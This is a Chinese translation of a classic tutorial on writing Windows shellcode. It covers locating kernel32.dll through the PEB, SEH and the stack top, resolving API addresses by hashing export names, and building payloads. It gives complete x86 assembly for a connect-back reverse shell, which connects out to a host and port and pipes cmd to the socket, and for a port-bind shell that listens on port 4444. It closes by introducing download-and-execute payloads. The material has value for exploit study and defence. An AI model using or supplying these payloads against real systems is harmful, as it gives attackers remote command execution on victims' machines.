了解 Windows Shellcode(译)

本文是篇翻译文,翻译自<<win32-shellcode.pdf>>。翻译过程基本是利用了googe翻译,由于谷歌翻译出的中文有些地方拗口,不符合中文逻辑,于是有些地方我进行了手动矫正,针对第8章节google翻译出的结果让新手非常晦涩难道,于是第8章节的汇编代码的注释则是我手动添加的注释。

1. 前言

在开始之前,作者要感谢 nologin.org 上的每个人,感谢他们是一群很棒的人并保持动力。 就本文档而言,感谢 trew (trew@exploit.us) 的所有意见和建议以及他的 ASM 专利挑战! 还要感谢 thief (thief@exploit.us) 与作者一起讨论本文档中列出的一些高级技术以及如何将它们应用于 Windows 和其他平台。 谢谢前往 HD Moore (hdm@digitaloffsense.net) 查看文档并提供建议。

有了这个,开始表演……

2. 介绍

本文档的目的是让读者熟悉或刷新读者用于为 Windows 编写可靠 shellcode 的技术。 读者应该至少在概念层面熟悉 IA32 汇编。 还建议读者花一些时间来复习参考书目中的一些项目。 除此之外,唯一的其他要求是学习的愿望。

本文档的许多部分之前已在其他地方介绍过,但令作者满意的是,尚未将其编译为易于理解的格式,无论是初学者还是修补匠。 出于这个原因,作者希望读者能够在 Windows shellcode 主题方面有一个更集中的参考点。

本文档将重点介绍基于 Windows 9x 和 Windows NT 的版本,更侧重于后者。

用于编译本文档中显示的程序集的工具是与 Microsoft 的 Visual Studio 套件一起分发的 cl.exe。 使用 cl.exe,在尝试编译程序集时应该使用内联汇编器功能。 此外,如果无法访问 cl.exe,也可以使用 masm 或其他支持 intel 样式汇编的汇编程序。

最后,本文档中的所有 shellcode 都可以在 http://www.hick.org/code/skape/shellcode/win32 上找到。

3. shellcode基础

一开始有bug,还不错。 然而,单独的错误太糟糕了,不能从情感上好的角度来考虑。 出于这个原因,黑客发明了漏洞利用; 纠正与错误相关的负面污名问题的积极贡献。 有了这个漏洞,并且发自黑客的内心深处,黑客为程序提供了一个从严重错误中恢复的机会,方法是向它提供一些自定义代码来运行,以代替它本来会崩溃的地方。 因此,这个术语后来被称为 shellcode,一个用于其他注定失败的程序的保护壳,它很好。

现在,好显然是主观的,取决于一个人站在哪一边,但在这一刻,人们必须暂停他们对这个问题的个人意见,转而向更客观的一面敞开心扉。

与其他操作系统一样,Windows 发现自己容易受到困扰其他操作系统的同样广泛的利用技术的影响。 为了保持本文档对 shellcode 的关注,将不涉及利用技术本身。 相反,重点将放在将使用的自定义代码上。

确定要发送哪些代码作为漏洞利用的有效载荷的漫长过程的第一步涉及准确了解一个人试图完成什么。 诚然,最终的要求可能因环境和被利用的事物而异,但用于达到这一点的策略很可能在它们之间有很多共同点,而且,正如命运所愿 , 他们是这样。

当试图为 Windows 编写自定义 shellcode 时,必须明白,与 Unix 变体不同,执行某些任务的机制并不像简单地执行系统调用那样直接。 尽管 Windows 确实有系统调用,但它们通常不足以用于编写 shellcode。

3.1 系统调用

基于 NT 的 Windows 版本通过 int 0x2e 公开系统调用接口。较新的 NT 版本,例如 Windows XP,能够使用优化的 sysenter 指令。 这两种机制都实现了从用户模式 Ring3 过渡到内核模式 Ring0 的目标。

Windows 和 Linux 一样,将系统调用号或命令存储在 eax 寄存器中。 两个操作系统中的系统调用号只是一个数组的索引,该数组存储一个函数指针,一旦接收到系统调用中断,就会转换到该函数指针。 但问题是,系统调用号在 Windows 版本之间容易发生变化,而 Linux 系统调用号是一成不变的。 这种差异是为 Windows 编写可靠的 shellcode 问题的根源,因此,为直接使用系统调用的 Windows 编写代码通常被认为是“糟糕的做法”,而不是通过提供的本机用户模式抽象层 ntdll.dll。

在 Windows 中使用系统调用的另一个更明显的问题是系统调用接口导出的功能集相当有限。 与 Linux 不同,Windows 不通过系统调用接口导出套接字 API。 这立即消除了通过这种机制进行基于网络的 shellcode 的可能性。 那么,系统调用还能用来做什么呢? 显然,本地漏洞利用仍有潜在用途,但本文档的重点将放在远程漏洞利用上。 尽管如此,对于远程漏洞利用,系统调用的一些用途将在第 6 章中介绍。因此,如果几乎消除了系统调用作为一种可行的机制,那么到底该怎么做呢? 有了这个,继续……

3.2 找kernel32.dll

由于看起来直接与内核对话不是一种选择,因此需要另一种本地解决方案。 与内核对话的唯一其他方法是通过 Windows 机器上的现有 API。 在 Windows 中,与 Unix 变体一样,标准用户模式 API 以动态加载对象的形式导出,这些对象在运行时映射到进程空间。 这些类型的对象文件的通用名称是共享对象 (.so),或者在 Windows 的情况下,是动态链接库 (.dll)。 DLL 选择在 Windows 上是一个相当简单的过程,因为假设二进制文件不是静态链接的,唯一保证映射到进程空间的是 kernel32.dll

为了编写最可移植和最可靠的 shellcode,DLL 选择范围缩小到 kernel32.dll,现在必须找到一种方法来使用该库来完成任意最终目标。 一般实现这一点的唯一方法是找到一种方法来加载更多可能已经或可能尚未加载到进程空间中的 DLL,并且能够解析所述 DLL 中的任意符号。 这些 DLL 将用于提供一种机制,通过该机制连接到端口上的机器、下载文件以及执行特定于正在使用的 shellcode 的其他任务。

幸运的是,kernel32.dll 确实公开了一个接口来分别通过 LoadLibraryA 和 GetProcAddress 函数解决这两个问题。 LoadLibraryA 函数,顾名思义,实现了可以加载指定 DLL 的机制。 函数原型如下:

WINBASEAPI HMODULE WINAPI LoadLibraryA(LPCSTR lpLibFileName);

转换为通用术语,LoadLibraryA 使用 stdcall 调用约定并接受指向要加载的模块文件名的常量字符串指针,最终在成功时返回加载模块的基地址(以空指针的形式)。 这种功能绝对是编写任意自定义 shellcode 所需要的,但这只是成功的一半。 后半部分,解析符号地址,将在 3.3 节中讨论。

不幸的是,使用 kernel32.dll 来实现目标存在一个固有的问题。 简单地说,不能保证每个不同版本的 Windows 都在相同的地址加载 kernel32.dll。 事实上,用户有可能通过rebase.exe工具改变kernel32.dll加载的地址。 这意味着 kernel32.dll 中函数的地址不能在不放弃可靠性的情况下硬编码到 shellcode 中。Windows shellcode 的许多当前实现都将地址硬编码到代码本身中。 不过不要担心,战斗并没有失败。确实有一些方法可以找到 kernel32.dll 的基地址,而无需对任何地址进行硬编码。

3.2.1 PEB
目标:95/98/ME/NT/2K/XP
大小:34 字节

将讨论的第一种技术记录在 Delerium 的优秀论文的 Win32 程序集汇编。 它是迄今为止用于确定 kernel32.dll 基址的最可靠技术。 它的唯一缺点是,对于适用于 Windows 9x 和 Windows NT 的版本,它的大小也是最大的,大约为 34 字节。

确定 kernel32.dll 基址的过程涉及使用进程环境块 (PEB)。 操作系统为每个正在运行的进程分配一个结构,该结构总是可以在进程内的 fs:[0x30] 处找到。 PEB 结构包含有关进程堆的信息、二进制图像信息,以及最重要的三个链接列表,这些链接表有关已映射到进程空间的加载模块。 链表本身的目的与显示模块加载顺序和模块初始化顺序不同。 初始化顺序链表是最令人感兴趣的,因为 kernel32.dll 的初始化顺序始终是第二个要初始化的模块。 人们可以充分利用这一事实。 通过将列表移动到第二个条目,可以确定性地提取 kernel32.dll 的基地址。

在撰写本文时,作者不知道上述策略会在任何情况下失败,从而阻止使初始化顺序列表中的 kernel32.dll 信息无效的软件。

PEB汇编:

find_kernel32:
  push esi
  xor eax, eax
  mov eax, fs:[eax+0x30]
  test eax, eax
  js find_kernel32_9x
find_kernel32_nt:
  mov eax, [eax + 0x0c]
  mov esi, [eax + 0x1c]
  lodsd
  mov eax, [eax + 0x8]
  jmp find_kernel32_finished
find_kernel32_9x:
  mov eax, [eax + 0x34]
  lea eax, [eax + 0x7c]
  mov eax, [eax + 0x3c]
  find_kernel32_finished:
  pop esi
  ret
Code language: Intel x86 Assembly (x86asm)

上述汇编代码的解释可以在第 8.1.1 节中找到。

3.2.2 SEH
目标:95/98/ME/NT/2K/XP
大小:33 字节

结构化异常处理 (SEH) 技术是获得 kernel32.dll 基地址的第二个最可靠的技术。 这种方法在 Delerium 论文的最后阶段 [1] 中也有提到,但没有详细介绍。 shellcode 本身大约有 33 个字节的大小,可以在 Windows 9x 和 Windows NT 上运行。

通过这种机制确定 kernel32.dll 基地址的过程是利用这样一个事实,即默认的 Unhandled Exception Handler 被设置为使用存在于 kernel32.dll 中的函数。 在基于 Windows 9x 和 Windows NT 的版本中,SEH 列表中最顶层的条目始终可以在进程内的 fs:[0] 处找到。 考虑到这一点,您可以遍历已安装的异常处理程序列表,直到到达最后一个。 当到达最后一个时,函数指针的地址可以用作以 64KB 或 16 × 4096 字节页面为增量向下走的起点。 在 Windows 中,DLL 只会在 64KB 边界上对齐。 在每个 64KB 边界处,可以执行检查以查看该点的两个字符是否为“MZ”。这两个字符标记了附加到可移植可执行文件的 MSDOS 标头。 一旦找到匹配项,就可以安全地假设已找到 kernel32.dll 的基地址。

使用这种技术可能遇到的问题是未处理的异常处理程序可能不指向 kernel32.dll 中的地址。 应用程序可以从图片中完全删除标准处理程序并安装自己的处理程序。 如果是这种情况,则无法使用此方法找到 kernel32.dll。 然而,幸运的是,这不是常见的情况,通常这种方法是可靠的。

SEH汇编:

find_kernel32:
  push esi
  push ecx
  xor ecx, ecx
  mov esi, fs:[ecx]
  not ecx
find_kernel32_seh_loop:
  lodsd
  mov esi, eax
  cmp [eax], ecx
  jne find_kernel32_seh_loop
find_kernel32_seh_loop_done:
  mov eax, [eax + 0x04]
  find_kernel32_base:
  find_kernel32_base_loop:
  dec eax
  xor ax, ax
  cmp word ptr [eax], 0x5a4d
  jne find_kernel32_base_loop
find_kernel32_base_finished:
  pop ecx
  pop esi
  ret
Code language: Intel x86 Assembly (x86asm)

上述汇编代码的解释可以在第 8.1.2 节中找到。

3.2.3 顶部堆栈
目标:NT/2K/XP
大小:25 字节

本文档涵盖的最后一个方法是该场景的相对新手。 它的重量最轻,只有 25 字节,并且仅适用于基于 Windows NT 的版本的当前实现。

通过这种机制确定kernel32.dll基地址的过程是通过使用存储在线程环境块(TEB)中的指针来提取栈顶。 每个正在执行的线程都有自己对应的 TEB,其中包含该线程独有的信息。 可以通过从进程内引用 fs:[0x18] 来访问当前线程的 TEB。 可以在 TEB 中的 0x4 字节处找到指向当前线程堆栈顶部的指针。 从那里,从顶部进入堆栈的 0x1c 字节保存了一个存在于 kernel32.dll 中某处的指针。 最后,一个遵循相同的过程
作为 SEH 方法,通过 64KB 边界向下走,直到遇到“MZ”。

顶部堆栈汇编:

find_kernel32:
  push esi
  xor esi, esi
  mov esi, fs:[esi + 0x18]
  lodsd
  lodsd
  mov eax, [eax - 0x1c]
find_kernel32_base:
find_kernel32_base_loop:
  dec eax
  xor ax, ax
  cmp word ptr [eax], 0x5a4d
  jne find_kernel32_base_loop
find_kernel32_base_finished:
  pop esi
  ret
Code language: Intel x86 Assembly (x86asm)

上述汇编代码的解释可以在第 8.1.3 节中找到。

3.3 解析符号地址

至此,已经有了确定kernel32.dll基地址所需的工具; 唯一缺少的是如何不仅在 kernel32.dll 中而且在任何其他任意 DLL 中解析符号。

在上一节中提到,获取符号地址的潜在机制之一是使用 GetProcAddress。 问题在于,这是一种马车出现之前的情况。 在这一点上,唯一的信息是在内存中可以找到 kernel32.dll 的位置,但这没有好处,因为 DLL 本身内部函数的偏移量会因版本而异。 话虽如此,有必要能够在不使用 GetProcAddress 本身的情况下解析函数地址,或者至少是 GetProcAddress 的地址。

3.3.1 导出目录表
目标:95/98/ME/NT/2K/XP
大小:78 字节

解析本文档将概述的符号地址的过程在 Delerium 论文的最后阶段 [1] 中有详细介绍,因此更高级别的概述就足够了。所需的基本理解是 DLL Portable Executable 映像具有导出目录表。导出目录表保存诸如导出符号的数量以及函数数组、符号名称数组和序数数组的相对虚拟地址 (RVA) 等信息。这些数组与导出的符号索引一一匹配。为了解析符号,必须通过遍历符号名称数组并散列与给定符号关联的字符串名称来遍历导出表,直到它与请求的符号的散列匹配为止。使用散列而不是直接比较字符串的原因与这样一个事实有关,即简单地使用需要解析的每个符号的字符串在大小方面过于昂贵。相反,可以将字符串优化为四字节散列。

一旦找到与指定的哈希匹配的哈希,就可以使用相对于序数数组解析的符号的索引来计算函数的实际虚拟地址。 从那里,序数数组的给定索引处的值与函数数组结合使用以生成符号的相对虚拟地址。 剩下的就是简单地将基地址添加到相对地址,现在就可以为请求的函数添加一个功能齐全的虚拟内存地址 (VMA)。

使用这种技术的好处是它可以用于每个 DLL。 它不严格限于与 kernel32.dll 一起使用。 一旦 LoadLibraryA 被解析,就可以继续加载任意模块和符号,因此可以编写功能齐全的自定义 shellcode,即使不使用 GetProcAddress。

查找函数符号的汇编:

find_function:
  pushad
  mov ebp, [esp + 0x24]
  mov eax, [ebp + 0x3c]
  mov edx, [ebp + eax + 0x78]
  add edx, ebp
  mov ecx, [edx + 0x18]
  mov ebx, [edx + 0x20]
  add ebx, ebp
find_function_loop:
  jecxz find_function_finished
  dec ecx
  mov esi, [ebx + ecx * 4]
  add esi, ebp
  compute_hash:
  xor edi, edi
  xor eax, eax
  cld
compute_hash_again:
  lodsb
  test al, al
  jz compute_hash_finished
  ror edi, 0xd
  add edi, eax
  jmp compute_hash_again
compute_hash_finished:
find_function_compare:
  cmp edi, [esp + 0x28]
  jnz find_function_loop
  mov ebx, [edx + 0x24]
  add ebx, ebp
  mov cx, [ebx + 2 * ecx]
  mov ebx, [edx + 0x1c]
  add ebx, ebp
  mov eax, [ebx + 4 * ecx]
  add eax, ebp
  mov [esp + 0x1c], eax
  find_function_finished:
  popad
  ret
Code language: Intel x86 Assembly (x86asm)

上述汇编代码的解释可以在第 8.2.1 节中找到。

3.3.2 导入地址表

在某些情况下,可以使用 DLL 的导入地址表来解析函数的 VMA,以便以可靠的方式使用。 这种技术引起了作者HD Moore在其MetaSploit的shellcode 存档中进行注意。 该技术涉及将一个 DLL 加载到内存中(通过 LoadLibraryA),该 DLL 依赖于 shellcode 本身将依赖的同一组函数。 这种技术的唯一问题是不能保证导入符号的偏移量在一个版本的 DLL 和下一个版本之间是相同的。 幸运的是,有一组给定的 DLL 不会从 Windows 的一个 Service Pack 更改为下一个。 在 Windows 2000 的一个 Service Pack 和下一个 Service Pack 之间不更改的 DLL 的特定示例是 DBMSSOCN.DLL,至少到本文撰写之日为止。

使用任意 DLL 的导入地址表的过程是首先通过本文档中描述的给定机制之一调用 find kernel32。 其次,应该使用find函数来解析kernel32.dll中LoadLibraryA的符号。 最后,可以加载任意 DLL 并开始使用导入地址表,该表现在应该填充有模块依赖项的 VMA。

可以在分阶段加载 Shellcode(第 6 章)中找到使用此技术的实现。

4 通用shellcode

通用 Shellcode 是一组跨多个平台使用的代码,通常构成远程攻击的首选负载。 本章将概述两个最常见的有效负载,并讨论它们在 Windows 中的优势和实现。

4.1 回连
目标:NT/2K/XP
大小:325 – 376 字节

通常,Connectback shellcode,或也称为反向 shell,是与远程主机建立 TCP 连接并将命令解释器的输出和输入定向到分配的 TCP 连接或从分配的 TCP 连接定向的过程。 当人们知道或假设远程网络没有出站过滤,或者如果有,则在远程机器和端口上没有过滤时,这很有用。 如果这两种情况中的任何一种都不正确,则不应使用 Connectback shellcode,因为它不会通过出站防火墙。 这是它的一大缺点。

在 Windows 上执行上述操作所涉及的过程并不像大多数其他操作系统那样直接,尽管鉴于 Windows shellcode 的最基本方面都缺乏简单性,因此应该预料到这一点。而不是使用系统调用必须使用 winsock 提供的标准套接字 API。不幸的是,在基于 Windows 9x 的系统和基于 Windows NT 的系统之间的兼容性方面,这两条道路存在分歧。主要的区别在于,在基于 NT 的版本中,winsock 返回的套接字文件描述符可用作重定向的句柄,用于进程的输入和输出。由于架构不同,Windows 9x 版本并非如此。基于 NT 的版本将是本次分析的重点,但部分解释也将专门用于描述 Windows 9x 上的过程。尽管未包含在本文档中,但可以在前言中列出的站点上找到适用于 Windows 9x 的 Connectback shellcode 版本。

这个解释将首先假设 kernel32.dll 的基地址已通过前面讨论的机制之一找到。 然后,必须使用 find_function 方法解析 kernel32.dll 中的以下符号:

Function Name Hash
LoadLibraryA 0xec0e4e8e
CreateProcessA 0x16b3fe72
ExitProcess 0x73e2d87e

这些符号应该被解析并存储在内存中以备后用。 下一步是使用解析的 LoadLibraryA 符号加载 winsock 库 ws2_32.dll。 实际上,ws2_32.dll 可能已经加载到内存中。 但是,问题是人们不知道它被加载到内存中的哪个位置。 因此,可以使用 LoadLibraryA 来找出它的加载位置。 如果它还没有被加载,LoadLibraryA 将简单地加载它并返回它被映射到的地址。 一旦 ws2_32.dll 被映射到进程空间,就应该使用与解析 kernel32.dll 中的符号相同的机制来解析 ws2_32.dll 中的符号。 以下符号需要解析并存入内存以备后用:

Function Name Hash
WSASocketA 0xadf509d9
connect 0x60aaf9ec

加载所有必需的符号后,现在可以继续进行实际工作。 以下步骤概述了该过程:


步骤1,创建套接字
该过程的第一步是创建一个 SOCK_STREAM 类型的 AF_INET 套接字,用于连接到远程机器上的 TCP 端口。 这是通过使用原型如下的 WSASocketA 函数来完成的:

SOCKET WSASocket(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFO lpProtocolInfo,
GROUP g,
DWORD dwFlags);

除了 af 和 type 之外的所有参数都应该设置为零,因为它们是不必要的。 分配成功后,新的文件描述符将在 eax 中返回。 应该以某种方式维护此文件描述符,以便在后面的步骤中使用。

步骤2,连接到远程机器
下一步需要建立与期望从命令解释器接收重定向输出的远程机器的连接。 这是通过使用原型如下的连接函数来完成的:

int connect(
SOCKET s,
const struct sockaddr* name,
int namelen);

如果连接建立成功,eax 将被设置为零。 是否应该测试此测试是可选的,因为测试失败会影响生成的 shellcode 的大小。

步骤3,执行命令解释器
此时,一切都设置为简单地运行命令解释器。剩下的唯一事情就是初始化一个需要传递给 CreateProcess 函数的结构。 这种结构使输入和输出能够被适当地重定向。 以下是 STARTUPINFO 结构的声明,后面是 CreateProcess 原型:

typedef struct _STARTUPINFO {
DWORD cb;
... //省略
DWORD dwFlags;
... //省略
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFO;
BOOL CreateProcess(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation);

STARTUPINFO 结构要求将 cb 属性设置为结构的大小,对于所有当前版本的 Windows 都是 0x44。此外,三个句柄用于指定应该用于逻辑标准输入、标准输出和标准 错误描述符。在这种情况下,它们三个都应设置为 WSASocketA 返回的文件描述符。 这就是导致重定向发生的原因。 最后,dwFlags 属性必须设置 STARTF_USESTDHANDLES 标志,以指示 CreateProcess 应该注意句柄 。

一旦 STARTUPINFO 结构被初始化,所有需要做的就是调用
将 lpCommandLine 参数设置为“cmd”的 CreateProcess,将 bInheritHandles 布尔值设置为 TRUE 以便子进程将继承套接字文件描述符,最后将 lpStartupInfo 和 lpProcessInformation 参数指向正确的位置。 其余参数应为 NULL。

步骤4,退出父进程
最后一步是简单地调用 ExitProcess 并将退出代码参数设置为任意值。

上述四个步骤是在基于 Windows NT 的系统上实现 Connectback 版本所涉及的全部步骤。 可以添加的一些功能包括让父进程在使用 WaitForSingleObject 终止自身之前等待子进程退出的能力。 此外,可以在子进程终止清理后让父进程关闭套接字。 这两个步骤不是完全必要的,只是增加了 shellcode 的大小。

在整个解释过程中被遗漏的一个重要因素是 WSAStartup 在任何时候都没有被调用 2 。 这样做的原因是假设由于正在使用远程漏洞利用这一事实,那么 WSAStartup 必须已经被调用。

回连汇编代码:

connectback:
  jmp startup_bnc
  // ...find_kernel32 and find_function assembly...
startup_bnc:
  jmp startup
resolve_symbols_for_dll:
  lodsd
  push eax
  push edx
  call find_function
  mov [edi], eax
  add esp, 0x08
  add edi, 0x04
  cmp esi, ecx
  jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
  ret
kernel32_symbol_hashes:
  EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec)
  EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)
  EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)
ws2_32_symbol_hashes:
  EMIT_4_LITTLE_ENDIAN(0xd9,0x09,0xf5,0xad)
  EMIT_4_LITTLE_ENDIAN(0xec,0xf9,0xaa,0x60)
startup:
  sub esp, 0x60
  mov ebp, esp
  jmp get_absolute_address_forward
get_absolute_address_middle:
  jmp get_absolute_address_end
get_absolute_address_forward:
  call get_absolute_address_middle
get_absolute_address_end:
  pop esi
  call find_kernel32
  mov edx, eax
resolve_kernel32_symbols:
  sub esi, 0x22
  lea edi, [ebp + 0x04]
  mov ecx, esi
  add ecx, 0x0c
  call resolve_symbols_for_dll
resolve_winsock_symbols:
  add ecx, 0x08
  xor eax, eax
  mov ax, 0x3233
  push eax
  push 0x5f327377
  mov ebx, esp
  push ecx
  push edx
  push ebx
  call [ebp + 0x04]
  pop edx
  pop ecx
  mov edx, eax
  call resolve_symbols_for_dll
initialize_cmd:
  mov eax, 0x646d6301
  sar eax, 0x08
  push eax
  mov [ebp + 0x30], esp
  create_socket:
  xor eax, eax
  push eax
  push eax
  push eax
  push eax
  inc eax
  push eax
  inc eax
  push eax
  call [ebp + 0x10]
  mov esi, eax
do_connect:
  push 0x0101017f
  mov eax, 0x5c110102
  dec ah
  push eax
  mov ebx, esp
  xor eax, eax
  mov al, 0x10
  push eax
  push ebx
  push esi
  call [ebp + 0x14]
initialize_process:
  xor ecx, ecx
  mov cl, 0x54
  sub esp, ecx
  mov edi, esp
  push edi
zero_structs:
  xor eax, eax
  rep stosb
  pop edi
initialize_structs:
  mov byte ptr [edi], 0x44
  inc byte ptr [edi + 0x2d]
  push edi
  mov eax, esi
  lea edi, [edi + 0x38]
  stosd
  stosd
  stosd
  pop edi
execute_process:
  xor eax, eax
  lea esi, [edi + 0x44]
  push esi
  push edi
  push eax
  push eax
  push eax
  inc eax
  push eax
  dec eax
  push eax
  push eax
  push [ebp + 0x30]
  push eax
  call [ebp + 0x08]
  exit_process:
  call [ebp + 0x0c]
Code language: Intel x86 Assembly (x86asm)

上述汇编代码的解释可以在第 8.3.1 节中找到。

4.2 端口绑定
目标:NT/2K/XP
大小:353 – 404 字节

Portbind shellcode 类似于 Connectback shellcode,因为它的目标是将命令解释器重定向到文件描述符。 但是,它执行此操作的方法是不同的。 Portbind shellcode 不是自己建立 TCP 连接,而是侦听 TCP 端口并等待传入的连接。当收到连接时,代码将命令解释器重定向到客户端套接字。 这对于已知或假设客户端计算机没有过滤入站端口的防火墙的情况很有用,或者,如果有,则已知计算机没有过滤所选端口的防火墙 的聆听。 如果这些条件中的任何一个不正确,则不能使用 Portbind shellcode,因为人们将无法从外部连接到它。 这是 Portbind shellcode 的主要缺点。

在 Windows 上实现 Portbind 需要与 Connectback 相同的大部分内容。 必须通过本文档中描述的方法之一找到 kernel32.dll 基址,并且还必须解析给定的一组符号。 kernel32.dll 需要的符号如下:

Function Name Hash
LoadLibraryA 0xec0e4e8e
CreateProcessA 0x16b3fe72
ExitProcess 0x73e2d87e

成功解析上述符号后,必须使用 LoadLibraryA 加载 winsock 库 ws2_32.dll。 成功加载库后,必须从 ws2_32.dll 解析以下符号以备后用:

Function Name Hash
WSASocketA 0xadf509d9
bind 0xc7701aa4
listen 0xe92eada4
accept 0x498649e5

加载所有必需的符号后,现在可以继续进行实际工作。 以下步骤概述了该过程:

步骤1,创建一个套接字
该过程的第一步是创建一个 SOCK_STREAM 类型的 AF_INET 套接字,用于侦听客户端连接的 TCP 端口。 这是通过使用原型如下的 WSASocketA 函数来完成的:

SOCKET WSASocket(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFO lpProtocolInfo,
GROUP g,
DWORD dwFlags);

除了 af 和 type 之外的所有参数都应该设置为零,因为它们是不必要的。 分配成功后,新的文件描述符将在 eax 中返回。 应该以某种方式维护此文件描述符,以便在后面的步骤中使用。

步骤2,绑定一个端口
下一阶段涉及使用 bind 函数绑定到将被监听的本地端口。 bind 的原型如下:

int bind(
SOCKET s,
const struct sockaddr* name,
int namelen
);

s 参数应设置为从 WSASocketA 返回的文件描述符。 name 参数应该是一个初始化的 struct sockaddr_in 结构,其 sin_port 属性设置了要以网络字节顺序侦听的端口。 最后,namelen 参数应设置为 struct sockaddr_in 的大小,即 16 字节。

需要注意的是,尽管端口是任意的,但应注意不要选择可能与目标机器上现有侦听器发生冲突的端口。

步骤3,监听端口
一旦通过绑定方式成功绑定了端口,就应该开始监听该端口。 这是通过使用侦听功能来完成的。 listen 的原型如下:

int listen(
SOCKET s,
int backlog
);

s 参数应该再次设置为从 WSASocketA 返回的文件描述符。 积压参数相对随意,因为对于此代码的目的,积压并不重要。

步骤4,接受客户端连接
现在选定的端口正在被监听,是时候接受客户端连接了。 这是通过使用原型如下的接受函数来完成的:

SOCKET accept(
SOCKET s,
struct sockaddr* addr,
int* addrlen
);

s 参数应设置为从 WSASocketA 返回的文件描述符。 addr 参数应该指向内存中已经分配了 16 字节存储空间的空间(无论是在堆栈上还是在堆上)。对于 shellcode 而言,它很可能在堆栈上。 最后,addrlen 应该指向内存中已初始化为 16 的地方的地址,以表示 addr 参数的大小。 此调用将阻塞,直到接收到客户端连接,此时客户端的文件描述符将在 eax 中返回。 这是将用于重定向命令解释器的输入和输出的文件描述符。

步骤5,执行命令解释器
执行命令解释器的过程与使用 Connectback 的过程完全相同,因此描述将更加简短。 唯一需要澄清的区别是从接受返回的客户端文件描述符应该用作 hStdInput、hStdOutput 和 hStdError。

步骤6,退出父进程
最后一步是简单地调用 ExitProcess,并将退出代码参数设置为任意值。

上述步骤描述了在基于 NT 的 Windows 版本上实现 Portbind 的过程。 与 Connectback 实现一样,可以选择添加 WaitForSingleObject 和 closesocket 以在子进程退出后进行更多清理。 此外,鉴于这种情况,可能有必要使用 WSAStartup 来初始化 winsock。

端口绑定汇编代码:

portbind:
  jmp startup_bnc
  // ...find_kernel32 and find_function assembly...
startup_bnc:
  jmp startup
resolve_symbols_for_dll:
  lodsd
  push eax
  push edx
  call find_function
  mov [edi], eax
  add esp, 0x08
  add edi, 0x04
  cmp esi, ecx
  jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
  ret
kernel32_symbol_hashes:
  EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec)
  EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)
  EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)
  ws2_32_symbol_hashes:
  EMIT_4_LITTLE_ENDIAN(0xd9,0x09,0xf5,0xad)
  EMIT_4_LITTLE_ENDIAN(0xa4,0x1a,0x70,0xc7)
  EMIT_4_LITTLE_ENDIAN(0xa4,0xad,0x2e,0xe9)
  EMIT_4_LITTLE_ENDIAN(0xe5,0x49,0x86,0x49)
startup:
  sub esp, 0x60
  mov ebp, esp
  jmp get_absolute_address_forward
get_absolute_address_middle:
  jmp get_absolute_address_end
get_absolute_address_forward:
  call get_absolute_address_middle
get_absolute_address_end:
  pop esi
  call find_kernel32
  mov edx, eax
resolve_kernel32_symbols:
  sub esi, 0x2a
  lea edi, [ebp + 0x04]
  mov ecx, esi
  add ecx, 0x0c
  call resolve_symbols_for_dll
resolve_winsock_symbols:
  add ecx, 0x10
  xor eax, eax
  mov ax, 0x3233
  push eax
  push 0x5f327377
  mov ebx, esp
  push ecx
  push edx
  push ebx
  call [ebp + 0x04]
  pop edx
  pop ecx
  mov edx, eax
  call resolve_symbols_for_dll
initialize_cmd:
  mov eax, 0x646d6301
  sar eax, 0x08
  push eax
  mov [ebp + 0x34], esp
create_socket:
  xor eax, eax
  push eax
  push eax
  push eax
  push eax
  inc eax
  push eax
  inc eax
  push eax
  call [ebp + 0x10]
  mov esi, eax
bind:
  xor eax, eax
  xor ebx, ebx
  push eax
  push eax
  push eax
  mov eax, 0x5c110102
  dec ah
  push eax
  mov eax, esp
  mov bl, 0x10
  push ebx
  push eax
  push esi
  call [ebp + 0x14]
listen:
  push ebx
  push esi
  call [ebp + 0x18]
accept:
  push ebx
  mov edx, esp
  sub esp, ebx
  mov ecx, esp
  push edx
  push ecx
  push esi
  call [ebp + 0x1c]
  mov esi, eax
initialize_process:
  xor ecx, ecx
  mov cl, 0x54
  sub esp, ecx
  mov edi, esp
  push edi
zero_structs:
  xor eax, eax
  rep stosb
  pop edi
initialize_structs:
  mov byte ptr [edi], 0x44
  inc byte ptr [edi + 0x2d]
  push edi
  mov eax, esi
  lea edi, [edi + 0x38]
  stosd
  stosd
  stosd
  pop edi
execute_process:
  xor eax, eax
  lea esi, [edi + 0x44]
  push esi
  push edi
  push eax
  push eax
  push eax
  inc eax
  push eax
  dec eax
  push eax
  push eax
  push [ebp + 0x34]
  push eax
  call [ebp + 0x08]
exit_process:
  call [ebp + 0x0c]
Code language: Intel x86 Assembly (x86asm)

上述汇编代码的解释可以在第 8.3.2 节中找到。

5 高级 Shellcode

高级 Shellcode 是一组不常见或不常用的代码,但在远程攻击方面具有优势。 一些具体示例包括下载和执行文件(本文档将讨论的文件)、远程向机器添加新用户以及在机器上共享文件夹(例如 C:)的代码。 这些实现虽然不那么传统,但是使用在本文档中建立的框架很容易获得。

5.1 下载/执行
目标:95/98/ME/NT/2K/XP
大小:493 – 502 字节

下载/执行 shellcode 旨在从 URL 下载可执行文件,重点是 HTTP,并执行它。 这允许在本机平台上执行更大、更高级的代码。 这种方法的目标类似于分阶段加载 Shellcode (6),但其中的重点是将辅助 shellcode 加载到当前进程空间,而下载/执行方法的重点是下载代码并在新的进程上下文中运行它。

下载/执行方法的好处是它可以在过滤除 HTTP 之外的所有其他流量的网络后面使用。 鉴于所述代理不需要身份验证信息,它甚至可以通过预先配置的代理工作。 这两个优点使它比 Connectback 和 Portbind 技术更受欢迎,因为它更有可能通过防火墙设置工作。

